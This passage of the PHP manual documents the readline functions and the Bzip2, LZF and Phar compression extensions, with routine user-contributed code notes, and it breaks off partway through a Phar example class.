Gets the entire command line history.

Return Values

Returns an array of the entire command line history. The elements are indexed by integers starting at zero.

User Contributed Notes

Anonymous 27-Jan-2011 03:17
Note this function is only available when PHP is compiled with libreadline, not if it is compiled with libedit.

<?php
if (function_exists('readline_list_history')) {
  $history = readline_list_history();
  // ...
} else {
  echo 'Not supported by the compiled library.'.PHP_EOL;
}
?>


Inform readline that the cursor has moved to a new line

  • « readline_list_history
  • readline_read_history »
  • PHP Manual
  • Readline Functions
  • Inform readline that the cursor has moved to a new line

readline_on_new_line

(PHP 5 >= 5.1.0)

readline_on_new_line — Inform readline that the cursor has moved to a new line

Description

void readline_on_new_line ( void )

Tells readline that the cursor has moved to a new line.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Reads the history

  • « readline_on_new_line
  • readline_redisplay »
  • PHP Manual
  • Readline Functions
  • Reads the history

readline_read_history

(PHP 4, PHP 5)

readline_read_history — Reads the history

Description

bool readline_read_history ([ string $filename ] )

This function reads a command history from a file.

Parameters

filename

Path to the filename containing the command history.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anonymous 27-Jan-2011 01:07
Note that the first line in the history file must contain the string: _HiStOrY_V2_

Else it wont work.


Redraws the display

  • « readline_read_history
  • readline_write_history »
  • PHP Manual
  • Readline Functions
  • Redraws the display

readline_redisplay

(PHP 5 >= 5.1.0)

readline_redisplay — Redraws the display

Description

void readline_redisplay ( void )

Redraws readline to redraw the display.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Writes the history

  • « readline_redisplay
  • readline »
  • PHP Manual
  • Readline Functions
  • Writes the history

readline_write_history

(PHP 4, PHP 5)

readline_write_history — Writes the history

Description

bool readline_write_history ([ string $filename ] )

This function writes the command history to a file.

Parameters

filename

Path to the saved file.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

jonathan dot gotti at free dot fr 28-Apr-2006 01:52
readline_write_history() doesn't take care of the $_SERVER['HISTSIZE'] value, here's an example on how to handle an history file in your apps taking care of user preferences regarding history size.

at the begining of your script:
<?php
$history_file = $_SERVER['HOME'].'/.PHPinteractive_history';
# read history from previous session
if(is_file($history_file))
  readline_read_history($history_file);
....
# your application's code
....
# put this at the end of yur script to save history and take care of $_SERVER['HISTSIZE']
if( readline_write_history($history_file) ){
  # clean history if too long
  $hist = readline_list_history();
  if( ($histsize = count($hist)) > $_SERVER['HISTSIZE'] ){
    $hist = array_slice($hist, $histsize - $_SERVER['HISTSIZE']);
    # in php5 you can replaces thoose line with a file_puts_content()
    if( $fhist = fopen($history_file,'w') ){
      fwrite($fhist,implode("\n",$hist));
      fclose($fhist);
    }
  }
}
?>


Reads a line

  • « readline_write_history
  • Compression and Archive Extensions »
  • PHP Manual
  • Readline Functions
  • Reads a line

readline

(PHP 4, PHP 5)

readline — Reads a line

Description

string readline ([ string $prompt ] )

Reads a single line from the user. You must add this line to the history yourself using readline_add_history().

Parameters

prompt

You may specify a string with which to prompt the user.

Return Values

Returns a single string from the user. The line returned has the ending newline removed.

Examples

Example #1 readline() Example

<?php
//get 3 commands from user
for ($i=0; $i < 3; $i++) {
        $line = readline("Command: ");
        readline_add_history($line);
}

//dump history
print_r(readline_list_history());

//dump variables
print_r(readline_info());
?>

User Contributed Notes

Anonymous 30-May-2011 05:51
The readline library is not available on Windows.

<?php
if (PHP_OS == 'WINNT') {
  echo '$ ';
  $line = stream_get_line(STDIN, 1024, PHP_EOL);
} else {
  $line = readline('$ ');
}
?>
sean 21-Jun-2009 11:00
I wanted a function that would timeout if readline was waiting too long... this works on php CLI on linux:

<?php

function readline_timeout($sec, $def)
{
    return trim(shell_exec('bash -c ' .
        escapeshellarg('phprlto=' .
            escapeshellarg($def) . ';' .
            'read -t ' . ((int)$sec) . ' phprlto;' .
            'echo "$phprlto"')));
}

?>

Just call readline_timeout(5, 'whatever') to either read something from stdin, or timeout in 5 seconds and default to 'whatever'.  I tried just using shell_exec without relying on bash -c, but that didn't work for me, so I had to go the round about way.
taneli at crasman dot fi 24-Mar-2009 09:21
If you want to prefill the prompt with something when using readline, this worked for me:

<?php
  function readline_callback($ret)
  {
    global $prompt_answer, $prompt_finished;
    $prompt_answer = $ret;
    $prompt_finished = TRUE;
    readline_callback_handler_remove();
  }

  readline_callback_handler_install('Enter some text> ',
                                    'readline_callback');

  $prefill = 'foobar';
  for ($i = 0; $i < strlen($prefill); $i++)
  {
    readline_info('pending_input', substr($prefill, $i, 1));
    readline_callback_read_char();
  }

  $prompt_finished = FALSE;
  $prompt_answer = FALSE;
  while (!$prompt_finished)
    readline_callback_read_char();
  echo 'You wrote: ' . $prompt_answer . "\n";
?>
rojaro at gmail dot com 31-Oct-2008 04:28
Note that readline() will return boolean "false" when the user presses CTRL+D.
soletan at toxa dot de 04-Sep-2006 02:44
To haukew at gmail dot com:

readline provides more features than reading a single line of input ... your example misses line editing and history. If you don't need that, use something as simple as this:

function readline( $prompt = '' )
{
    echo $prompt;
    return rtrim( fgets( STDIN ), "\n" );
}
christian at gaeking dot de 22-Jan-2004 07:01
A workaround if readline is not compiled into php, because for example the command is only needed within an installation routine. It works as follows under Linux:

$f=popen("read; echo \$REPLY","r");
$input=fgets($f,100);
pclose($f);
echo "Entered: $input\n";
cox at idecnet dot com 03-Feb-2002 05:06
In CGI mode be sure to call:

ob_implicit_flush(true);

at the top of your script if you want to be able to output data before and after the prompt.

-- Tomas V.V.Cox


Compression and Archive Extensions

  • Bzip2
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Bzip2 Functions
  • LZF
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • LZF Functions
  • Phar
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Using Phar Archives
    • Creating Phar Archives
    • What makes a phar a phar and not a tar or a zip?
    • Phar — The Phar class
    • PharData — The PharData class
    • PharFileInfo — The PharFileInfo class
    • PharException — The PharException class
  • Rar — Rar Archiving
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Rar Functions
    • RarArchive — The RarArchive class
    • RarEntry — The RarEntry class
    • RarException — The RarException class
  • Zip
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • ZipArchive — The ZipArchive class
    • Zip Functions
  • Zlib — Zlib Compression
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Zlib Functions

User Contributed Notes

There are no user contributed notes for this page.


Bzip2

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Bzip2 Functions
    • bzclose — Close a bzip2 file
    • bzcompress — Compress a string into bzip2 encoded data
    • bzdecompress — Decompresses bzip2 encoded data
    • bzerrno — Returns a bzip2 error number
    • bzerror — Returns the bzip2 error number and error string in an array
    • bzerrstr — Returns a bzip2 error string
    • bzflush — Force a write of all buffered data
    • bzopen — Opens a bzip2 compressed file
    • bzread — Binary safe bzip2 file read
    • bzwrite — Binary safe bzip2 file write

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The bzip2 functions are used to transparently read and write bzip2 (.bz2) compressed files.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This module uses the functions of the » bzip2 library by Julian Seward. This module requires bzip2/libbzip2 version >= 1.0.x.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Bzip2 support in PHP is not enabled by default. You will need to use the --with-bz2[=DIR] configuration option when compiling PHP to enable bzip2 support.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines one resource type: a file pointer identifying the bz2-file to work on.

User Contributed Notes

There are no user contributed notes for this page.


Examples

This example opens a temporary file and writes a test string to it, then prints out the contents of the file.

Example #1 Small bzip2 Example

<?php

$filename = "/tmp/testfile.bz2";
$str = "This is a test string.\n";

// open file for writing
$bz = bzopen($filename, "w");

// write string to file
bzwrite($bz, $str);

// close file
bzclose($bz);

// open file for reading
$bz = bzopen($filename, "r");

// read 10 characters
echo bzread($bz, 10);

// output until end of the file (or the next 1024 char) and close it.
echo bzread($bz);

bzclose($bz);

?>

User Contributed Notes

There are no user contributed notes for this page.


Bzip2 Functions

Table of Contents

  • bzclose — Close a bzip2 file
  • bzcompress — Compress a string into bzip2 encoded data
  • bzdecompress — Decompresses bzip2 encoded data
  • bzerrno — Returns a bzip2 error number
  • bzerror — Returns the bzip2 error number and error string in an array
  • bzerrstr — Returns a bzip2 error string
  • bzflush — Force a write of all buffered data
  • bzopen — Opens a bzip2 compressed file
  • bzread — Binary safe bzip2 file read
  • bzwrite — Binary safe bzip2 file write

User Contributed Notes

ec10 at gmx dot net 20-May-2004 08:34
<?php
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc compressing the file with the bzip2-extension
*/
function bzip2 ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = fopen ($in, "rb");
    $out_file = bzopen ($out, "wb");

    while (!feof ($in_file)) {
        $buffer = fgets ($in_file, 4096);
         bzwrite ($out_file, $buffer, 4096);
    }

    fclose ($in_file);
    bzclose ($out_file);

    return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the bzip2-extension
*/
function bunzip2 ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = bzopen ($in, "rb");
    $out_file = fopen ($out, "wb");

    while ($buffer = bzread ($in_file, 4096)) {
        fwrite ($out_file, $buffer, 4096);
    }

    bzclose ($in_file);
    fclose ($out_file);

    return true;
}
?>


Close a bzip2 file

  • « Bzip2 Functions
  • bzcompress »
  • PHP Manual
  • Bzip2 Functions
  • Close a bzip2 file

bzclose

(PHP 4 >= 4.0.4, PHP 5)

bzclose — Close a bzip2 file

Description

int bzclose ( resource $bz )

Closes the given bzip2 file pointer.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • bzopen() - Opens a bzip2 compressed file

User Contributed Notes

There are no user contributed notes for this page.


Compress a string into bzip2 encoded data

  • « bzclose
  • bzdecompress »
  • PHP Manual
  • Bzip2 Functions
  • Compress a string into bzip2 encoded data

bzcompress

(PHP 4 >= 4.0.4, PHP 5)

bzcompress — Compress a string into bzip2 encoded data

Description

mixed bzcompress ( string $source [, int $blocksize = 4 [, int $workfactor = 0 ]] )

bzcompress() compresses the given string and returns it as bzip2 encoded data.

Parameters

source

The string to compress.

blocksize

Specifies the blocksize used during compression and should be a number from 1 to 9 with 9 giving the best compression, but using more resources to do so.

workfactor

Controls how the compression phase behaves when presented with worst case, highly repetitive, input data. The value can be between 0 and 250 with 0 being a special case.

Regardless of the workfactor, the generated output is the same.

Return Values

The compressed string, or an error number if an error occurred.

Examples

Example #1 Compressing data

<?php
$str = "sample data";
$bzstr = bzcompress($str, 9);
echo $bzstr;
?>

See Also

  • bzdecompress() - Decompresses bzip2 encoded data

User Contributed Notes

uprz23 at gmail dot com 24-Jun-2010 09:52
Comparing gzcompress/gzuncompress and bzcompress/bzdecompress, the bz combo is about 5x slower than gz.
diego a messenger do dsemmler do de 24-Apr-2009 12:01
The blocksize parameter tells bzip to use 100 000 Byte * blocksize blocks to compress the string. In the example above we can see the output size and time needed of bz[2] to bz[9] are nearly the same, because there ware just 189 058 Byte of data to compress and in this case bz[2] to bz[9] means "compress all data et once".
So we may notice a bigger difference in speed and compression rate with bigger files.

the workfactor parameter sets, how fast bzip switches in the slower fallback algorithm, if the standard algorithm gets problems with much repetitive data. 0 means, bzip uses the default value of 30. This option is recommend.

For more information about the parameter look at http://www.bzip.org/1.0.3/html/low-level.html#bzcompress-init


Decompresses bzip2 encoded data

  • « bzcompress
  • bzerrno »
  • PHP Manual
  • Bzip2 Functions
  • Decompresses bzip2 encoded data

bzdecompress

(PHP 4 >= 4.0.4, PHP 5)

bzdecompress — Decompresses bzip2 encoded data

Description

mixed bzdecompress ( string $source [, int $small = 0 ] )

bzdecompress() decompresses the given string containing bzip2 encoded data.

Parameters

source

The string to decompress.

small

If TRUE, an alternative decompression algorithm will be used which uses less memory (the maximum memory requirement drops to around 2300K) but works at roughly half the speed.

See the » bzip2 documentation for more information about this feature.

Return Values

The decompressed string, or an error number if an error occurred.

Examples

Example #1 Decompressing a String

<?php
$start_str = "This is not an honest face?";
$bzstr = bzcompress($start_str);

echo "Compressed String: ";
echo $bzstr;
echo "\n<br />\n";

$str = bzdecompress($bzstr);
echo "Decompressed String: ";
echo $str;
echo "\n<br />\n";
?>

See Also

  • bzcompress() - Compress a string into bzip2 encoded data

User Contributed Notes

balint * atres / ath / cx 10-Jan-2006 02:02
I spent a while to sort out some integer results of the bzdecompress, so maybe it'll be useful for somebody else also...
(Constants from the sources.)

#define BZ_OK                0
#define BZ_RUN_OK            1
#define BZ_FLUSH_OK          2
#define BZ_FINISH_OK         3
#define BZ_STREAM_END        4
#define BZ_SEQUENCE_ERROR    (-1)
#define BZ_PARAM_ERROR       (-2)
#define BZ_MEM_ERROR         (-3)
#define BZ_DATA_ERROR        (-4)
#define BZ_DATA_ERROR_MAGIC  (-5)
#define BZ_IO_ERROR          (-6)
#define BZ_UNEXPECTED_EOF    (-7)
#define BZ_OUTBUFF_FULL      (-8)
#define BZ_CONFIG_ERROR      (-9)


Returns a bzip2 error number

  • « bzdecompress
  • bzerror »
  • PHP Manual
  • Bzip2 Functions
  • Returns a bzip2 error number

bzerrno

(PHP 4 >= 4.0.4, PHP 5)

bzerrno — Returns a bzip2 error number

Description

int bzerrno ( resource $bz )

Returns the error number of any bzip2 error returned by the given file pointer.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

Return Values

Returns the error number as an integer.

See Also

  • bzerror() - Returns the bzip2 error number and error string in an array
  • bzerrstr() - Returns a bzip2 error string

User Contributed Notes

There are no user contributed notes for this page.


Returns the bzip2 error number and error string in an array

  • « bzerrno
  • bzerrstr »
  • PHP Manual
  • Bzip2 Functions
  • Returns the bzip2 error number and error string in an array

bzerror

(PHP 4 >= 4.0.4, PHP 5)

bzerror — Returns the bzip2 error number and error string in an array

Description

array bzerror ( resource $bz )

Returns the error number and error string of any bzip2 error returned by the given file pointer.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

Return Values

Returns an associative array, with the error code in the errno entry, and the error message in the errstr entry.

Examples

Example #1 bzerror() example

<?php
$error = bzerror($bz);

echo $error["errno"];
echo $error["errstr"];
?>

See Also

  • bzerrno() - Returns a bzip2 error number
  • bzerrstr() - Returns a bzip2 error string

User Contributed Notes

There are no user contributed notes for this page.


Returns a bzip2 error string

  • « bzerror
  • bzflush »
  • PHP Manual
  • Bzip2 Functions
  • Returns a bzip2 error string

bzerrstr

(PHP 4 >= 4.0.4, PHP 5)

bzerrstr — Returns a bzip2 error string

Description

string bzerrstr ( resource $bz )

Gets the error string of any bzip2 error returned by the given file pointer.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

Return Values

Returns a string containing the error message.

See Also

  • bzerrno() - Returns a bzip2 error number
  • bzerror() - Returns the bzip2 error number and error string in an array

User Contributed Notes

There are no user contributed notes for this page.


Force a write of all buffered data

  • « bzerrstr
  • bzopen »
  • PHP Manual
  • Bzip2 Functions
  • Force a write of all buffered data

bzflush

(PHP 4 >= 4.0.4, PHP 5)

bzflush — Force a write of all buffered data

Description

int bzflush ( resource $bz )

Forces a write of all buffered bzip2 data for the file pointer bz.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • bzread() - Binary safe bzip2 file read
  • bzwrite() - Binary safe bzip2 file write

User Contributed Notes

There are no user contributed notes for this page.


Opens a bzip2 compressed file

  • « bzflush
  • bzread »
  • PHP Manual
  • Bzip2 Functions
  • Opens a bzip2 compressed file

bzopen

(PHP 4 >= 4.0.4, PHP 5)

bzopen — Opens a bzip2 compressed file

Description

resource bzopen ( string $filename , string $mode )

bzopen() opens a bzip2 (.bz2) file for reading or writing.

Parameters

filename

The name of the file to open, or an existing stream resource.

mode

Similar to the fopen() function, only 'r' (read) and 'w' (write) are supported. Everything else will cause bzopen to return FALSE.

Return Values

If the open fails, bzopen() returns FALSE, otherwise it returns a pointer to the newly opened file.

Examples

Example #1 bzopen() example

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file for reading");

bzclose($bz);

?>

See Also

  • bzclose() - Close a bzip2 file

User Contributed Notes

KrazyBox 31-Dec-2008 02:44
In some circumstances, you may want to send a bzip2 stream to the client.

To do this, you need only do:

<?php
ob_flush();
$bz = bzopen('php://stdout', 'w');
bzwrite($bz, 'some input here');
bzclose($bz);
?>

However, please note, because you are using STDOUT, you need to ob_flush() before actually writing to the stream. Otherwise, you might be sending data before the headers, which will cause errors on both server and client ends, in most cases.

You might be able to use php://output rather than php://stdout, however in my tests (with Linux), php://output doesn't actually work - at all.
Jille at quis dot cx dot spam dot to dot my dot devnull 19-Mar-2008 10:11
Warning!

the example show above is _not_ working in every case!
This example will continue reading until there is no more data:

<?PHP
      $bz=bzopen('foo.bz2', 'r');
      $data="";
      do {
        $line=bzread($bz, 8092);
        if($line!==false)
          $data.=$line;
      }
      while($line);
      bzclose($bz);
?>


Binary safe bzip2 file read

  • « bzopen
  • bzwrite »
  • PHP Manual
  • Bzip2 Functions
  • Binary safe bzip2 file read

bzread

(PHP 4 >= 4.0.4, PHP 5)

bzread — Binary safe bzip2 file read

Description

string bzread ( resource $bz [, int $length = 1024 ] )

bzread() reads from the given bzip2 file pointer.

Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

length

If not specified, bzread() will read 1024 (uncompressed) bytes at a time. A maximum of 8192 uncompressed bytes will be read at a time.

Return Values

Returns the uncompressed data, or FALSE on error.

Examples

Example #1 bzread() example

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file");

$decompressed_file = '';
while (!feof($bz)) {
  $decompressed_file .= bzread($bz, 4096);
}
bzclose($bz);

echo "The contents of $file are: <br />\n";
echo $decompressed_file;

?>

See Also

  • bzwrite() - Binary safe bzip2 file write
  • feof() - Tests for end-of-file on a file pointer
  • bzopen() - Opens a bzip2 compressed file

User Contributed Notes

user@anonymous 16-Apr-2012 04:10
Make sure you check for bzerror while looping through a bzfile. bzread will not detect a compression error and can continue forever even at the cost of 100% cpu.

$fh = bzopen('file.bz2','r');
while(!feof($fh)) {
  $buffer = bzread($fh);
  if($buffer === FALSE) die('Read problem');
  if(bzerror($fh) !== 0) die('Compression Problem');
}
bzclose($fh);


Binary safe bzip2 file write

  • « bzread
  • LZF »
  • PHP Manual
  • Bzip2 Functions
  • Binary safe bzip2 file write

bzwrite

(PHP 4 >= 4.0.4, PHP 5)

bzwrite — Binary safe bzip2 file write

Description

int bzwrite ( resource $bz , string $data [, int $length ] )

bzwrite() writes a string into the given bzip2 file stream.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

data

The written data.

length

If supplied, writing will stop after length (uncompressed) bytes have been written or the end of data is reached, whichever comes first.

Return Values

Returns the number of bytes written, or FALSE on error.

Examples

Example #1 bzwrite() example

<?php
$str = "uncompressed data";
$bz = bzopen("/tmp/foo.bz2", "w");
bzwrite($bz, $str, strlen($str));
bzclose($bz);
?>

See Also

  • bzread() - Binary safe bzip2 file read
  • bzopen() - Opens a bzip2 compressed file

User Contributed Notes

There are no user contributed notes for this page.


LZF

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • LZF Functions
    • lzf_compress — LZF compression
    • lzf_decompress — LZF decompression
    • lzf_optimized_for — Determines what LZF extension was optimized for

User Contributed Notes

There are no user contributed notes for this page.


Introduction

LZF is a very fast compression algorithm, ideal for saving space with only slight speed cost. It can be optimized for speed or space at the time of compilation. This extension is using » liblzf library by Marc Lehmann for its operations.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/lzf.

In order to use these functions you must compile PHP with lzf support by using the --with-lzf[=DIR] configure option. You may also pass --enable-lzf-better-compression to optimize LZF for space rather than speed.

Windows users will enable php_lzf.dll inside of php.ini in order to use these functions. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


LZF Functions

Table of Contents

  • lzf_compress — LZF compression
  • lzf_decompress — LZF decompression
  • lzf_optimized_for — Determines what LZF extension was optimized for

User Contributed Notes

grenier at cgsecurity dot org 06-Sep-2005 10:39
To install lzf, you can use

gunzip lzf-xxx.tgz
tar -xvf lzf-xxx.tar
cd lzf-xxx
phpize
./configure && make && make install


LZF compression

  • « LZF Functions
  • lzf_decompress »
  • PHP Manual
  • LZF Functions
  • LZF compression

lzf_compress

(PECL lzf >= 0.1.0)

lzf_compress — LZF compression

Description

string lzf_compress ( string $data )

lzf_compress() compresses the given data string using LZF encoding.

Parameters

data

The string to compress.

Return Values

Returns the compressed data or FALSE if an error occurred.

See Also

  • lzf_decompress() - LZF decompression

User Contributed Notes

There are no user contributed notes for this page.


LZF decompression

  • « lzf_compress
  • lzf_optimized_for »
  • PHP Manual
  • LZF Functions
  • LZF decompression

lzf_decompress

(PECL lzf >= 0.1.0)

lzf_decompress — LZF decompression

Description

string lzf_decompress ( string $data )

lzf_compress() decompresses the given data string containing lzf encoded data.

Parameters

data

The compressed string.

Return Values

Returns the decompressed data or FALSE if an error occurred.

See Also

  • lzf_compress() - LZF compression

User Contributed Notes

There are no user contributed notes for this page.


Determines what LZF extension was optimized for

  • « lzf_decompress
  • Phar »
  • PHP Manual
  • LZF Functions
  • Determines what LZF extension was optimized for

lzf_optimized_for

(PECL lzf >= 1.0.0)

lzf_optimized_for — Determines what LZF extension was optimized for

Description

int lzf_optimized_for ( void )

Determines what was LZF extension optimized for during compilation.

Return Values

Returns 1 if LZF was optimized for speed, 0 for compression.

User Contributed Notes

There are no user contributed notes for this page.


Phar

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Using Phar Archives
    • Using Phar Archives: Introduction
    • Using Phar Archives: the phar stream wrapper
    • Using Phar Archives: the Phar and PharData class
  • Creating Phar Archives
    • Creating Phar Archives: Introduction
  • What makes a phar a phar and not a tar or a zip?
    • Ingredients of all Phar archives, independent of file format
    • Phar file stub
    • Head-to-head comparison of Phar, Tar and Zip
    • Tar-based phars
    • Zip-based phars
    • Phar File Format
    • Global Phar bitmapped flags
    • Phar manifest file entry definition
    • Phar Signature format
  • Phar — The Phar class
    • Phar::addEmptyDir — Add an empty directory to the phar archive
    • Phar::addFile — Add a file from the filesystem to the phar archive
    • Phar::addFromString — Add a file from a string to the phar archive
    • Phar::apiVersion — Returns the api version
    • Phar::buildFromDirectory — Construct a phar archive from the files within a directory.
    • Phar::buildFromIterator — Construct a phar archive from an iterator.
    • Phar::canCompress — Returns whether phar extension supports compression using either zlib or bzip2
    • Phar::canWrite — Returns whether phar extension supports writing and creating phars
    • Phar::compress — Compresses the entire Phar archive using Gzip or Bzip2 compression
    • Phar::compressAllFilesBZIP2 — Compresses all files in the current Phar archive using Bzip2 compression
    • Phar::compressAllFilesGZ — Compresses all files in the current Phar archive using Gzip compression
    • Phar::compressFiles — Compresses all files in the current Phar archive
    • Phar::__construct — Construct a Phar archive object
    • Phar::convertToData — Convert a phar archive to a non-executable tar or zip file
    • Phar::convertToExecutable — Convert a phar archive to another executable phar archive file format
    • Phar::copy — Copy a file internal to the phar archive to another new file within the phar
    • Phar::count — Returns the number of entries (files) in the Phar archive
    • Phar::createDefaultStub — Create a phar-file format specific stub
    • Phar::decompress — Decompresses the entire Phar archive
    • Phar::decompressFiles — Decompresses all files in the current Phar archive
    • Phar::delMetadata — Deletes the global metadata of the phar
    • Phar::delete — Delete a file within a phar archive
    • Phar::extractTo — Extract the contents of a phar archive to a directory
    • Phar::getMetadata — Returns phar archive meta-data
    • Phar::getModified — Return whether phar was modified
    • Phar::getSignature — Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive
    • Phar::getStub — Return the PHP loader or bootstrap stub of a Phar archive
    • Phar::getSupportedCompression — Return array of supported compression algorithms
    • Phar::getSupportedSignatures — Return array of supported signature types
    • Phar::getVersion — Return version info of Phar archive
    • Phar::hasMetadata — Returns whether phar has global meta-data
    • Phar::interceptFileFuncs — instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions
    • Phar::isBuffering — Used to determine whether Phar write operations are being buffered, or are flushing directly to disk
    • Phar::isCompressed — Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
    • Phar::isFileFormat — Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter
    • Phar::isValidPharFilename — Returns whether the given filename is a valid phar filename
    • Phar::isWritable — Returns true if the phar archive can be modified
    • Phar::loadPhar — Loads any phar archive with an alias
    • Phar::mapPhar — Reads the currently executed file (a phar) and registers its manifest
    • Phar::mount — Mount an external path or file to a virtual location within the phar archive
    • Phar::mungServer — Defines a list of up to 4 $_SERVER variables that should be modified for execution
    • Phar::offsetExists — determines whether a file exists in the phar
    • Phar::offsetGet — Gets a PharFileInfo object for a specific file
    • Phar::offsetSet — set the contents of an internal file to those of an external file
    • Phar::offsetUnset — remove a file from a phar
    • Phar::running — Returns the full path on disk or full phar URL to the currently executing Phar archive
    • Phar::setAlias — Set the alias for the Phar archive
    • Phar::setDefaultStub — Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader
    • Phar::setMetadata — Sets phar archive meta-data
    • Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it.
    • Phar::setStub — Used to set the PHP loader or bootstrap stub of a Phar archive
    • Phar::startBuffering — Start buffering Phar write operations, do not modify the Phar object on disk
    • Phar::stopBuffering — Stop buffering write requests to the Phar archive, and save changes to disk
    • Phar::uncompressAllFiles — Uncompresses all files in the current Phar archive
    • Phar::unlinkArchive — Completely remove a phar archive from disk and from memory
    • Phar::webPhar — mapPhar for web-based phars. front controller for web applications
  • PharData — The PharData class
    • PharData::addEmptyDir — Add an empty directory to the tar/zip archive
    • PharData::addFile — Add a file from the filesystem to the tar/zip archive
    • PharData::addFromString — Add a file from the filesystem to the tar/zip archive
    • PharData::buildFromDirectory — Construct a tar/zip archive from the files within a directory.
    • PharData::buildFromIterator — Construct a tar or zip archive from an iterator.
    • PharData::compress — Compresses the entire tar/zip archive using Gzip or Bzip2 compression
    • PharData::compressFiles — Compresses all files in the current tar/zip archive
    • PharData::__construct — Construct a non-executable tar or zip archive object
    • PharData::convertToData — Convert a phar archive to a non-executable tar or zip file
    • PharData::convertToExecutable — Convert a non-executable tar/zip archive to an executable phar archive
    • PharData::copy — Copy a file internal to the phar archive to another new file within the phar
    • PharData::decompress — Decompresses the entire Phar archive
    • PharData::decompressFiles — Decompresses all files in the current zip archive
    • PharData::delMetadata — Deletes the global metadata of a zip archive
    • PharData::delete — Delete a file within a tar/zip archive
    • PharData::extractTo — Extract the contents of a tar/zip archive to a directory
    • PharData::isWritable — Returns true if the tar/zip archive can be modified
    • PharData::offsetSet — set the contents of a file within the tar/zip to those of an external file or string
    • PharData::offsetUnset — remove a file from a tar/zip archive
    • PharData::setAlias — dummy function (Phar::setAlias is not valid for PharData)
    • PharData::setDefaultStub — dummy function (Phar::setDefaultStub is not valid for PharData)
    • Phar::setMetadata — Sets phar archive meta-data
    • Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it. The
    • PharData::setStub — dummy function (Phar::setStub is not valid for PharData)
  • PharFileInfo — The PharFileInfo class
    • PharFileInfo::chmod — Sets file-specific permission bits
    • PharFileInfo::compress — Compresses the current Phar entry with either zlib or bzip2 compression
    • PharFileInfo::__construct — Construct a Phar entry object
    • PharFileInfo::decompress — Decompresses the current Phar entry within the phar
    • PharFileInfo::delMetadata — Deletes the metadata of the entry
    • PharFileInfo::getCRC32 — Returns CRC32 code or throws an exception if CRC has not been verified
    • PharFileInfo::getCompressedSize — Returns the actual size of the file (with compression) inside the Phar archive
    • PharFileInfo::getMetadata — Returns file-specific meta-data saved with a file
    • PharFileInfo::getPharFlags — Returns the Phar file entry flags
    • PharFileInfo::hasMetadata — Returns the metadata of the entry
    • PharFileInfo::isCRCChecked — Returns whether file entry has had its CRC verified
    • PharFileInfo::isCompressed — Returns whether the entry is compressed
    • PharFileInfo::isCompressedBZIP2 — Returns whether the entry is compressed using bzip2
    • PharFileInfo::isCompressedGZ — Returns whether the entry is compressed using gz
    • PharFileInfo::setCompressedBZIP2 — Compresses the current Phar entry within the phar using Bzip2 compression
    • PharFileInfo::setCompressedGZ — Compresses the current Phar entry within the phar using gz compression
    • PharFileInfo::setMetadata — Sets file-specific meta-data saved with a file
    • PharFileInfo::setUncompressed — Uncompresses the current Phar entry within the phar, if it is compressed
  • PharException — The PharException class
    • PharException — The PharException class provides a phar-specific exception class for try/catch blocks.

User Contributed Notes

t dot habenreich at web dot de 17-Dec-2013 05:38
Here is a very simple class to build a phar file from a given source directory. You can use this for your own project and simple deployment.

But my main goal was to show how to use PHAR functions in a simple way.

<?php

class BuildPhar
{
  private $_sourceDirectory = null;
  private $_stubFile        = null;
  private $_outputDirectory = null;
  private $_pharFileName    = null;

  /**
